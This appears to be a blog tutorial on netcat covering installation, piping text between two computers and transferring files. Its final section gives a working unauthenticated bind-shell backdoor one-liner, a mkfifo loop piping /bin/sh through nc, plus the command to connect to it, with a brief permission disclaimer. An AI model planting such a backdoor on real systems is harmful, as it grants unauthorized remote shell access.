Netcat: pipe commands over network.
We all know pipes, pipes are used to transfer data from one process output to another process input, but this concept is limited to…
We all know pipes, pipes are used to transfer data from one process output to another process input, but this concept is limited to processes running on a single host; Netcat extends the pipe concept and can pipe data between processes running in computers in a network.
How to install Netcat
On a Debian system netcat can be installed with the apt-get tool$ sudo apt-get install netcat
How to transfer data from a process on computer “A” to a process in computer “B”
Create the listener process on computer “B”, Netcat will listen on port 22221$ nc -lv 22221 | cat
Listening on 0.0.0.0 22221
Create the sender process on computer “A”
- -N parameter instructs netcat to stop the connection after transfer complete.
- -v parameter means verbose.
- 127.0.0.1 is the local address ip of my computer, replace with the appropriate ip addresses of your environment.$ echo "hello world" | nc -N 127.0.0.1 22221
Connection to 127.0.0.1 22221 port [tcp/*] succeeded!
We can see in computer “B” that the text we echoed appears on the stdout of cat command
- -l means listen.$ nc -lv 22221 | cat
Listening on 0.0.0.0 22221
Connection received on localhost 46014
hello world
How to transfer files using Netcat from computer “A” to computer “B”
Actually does not differ match from piping between processes, enter the following on the computer that will send the file
- -w parameter means timeout for connects and final net reads’
- 127.0.0.1 is the local address ip of my computer, replace with the appropriate ip addresses of your environment$ nc -w 1 -l -p 22221 < push_file.txt
Enter the following on the computer that will receive the file$ nc -w 1 127.0.0.1 22221 > get_file.txt
File on computer “B” will create a file named get_file.txt with the contents of push_file.txt from computer “A”.
How to create a backdoor using Netcat
Remember that creating back-doors in systems that are not yours is considered as hacking so i dont recommend to do any hacking actions unless you have permission or own the systems; also i dont recommend backdoors for personal purposes since they are not password protected.
On the computer “A” you wish to set the backdoor enter$ rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 22221 > /tmp/f
Now the backdoor is ready! to access the backdoor enter from a computer that has network connectivity to “A” the following:nc <IP_OF_COMPUTER_A> 22221
Now you should have access to the shell of computer “A”.
I hope you enjoyed this article and do good use of Netcat ;)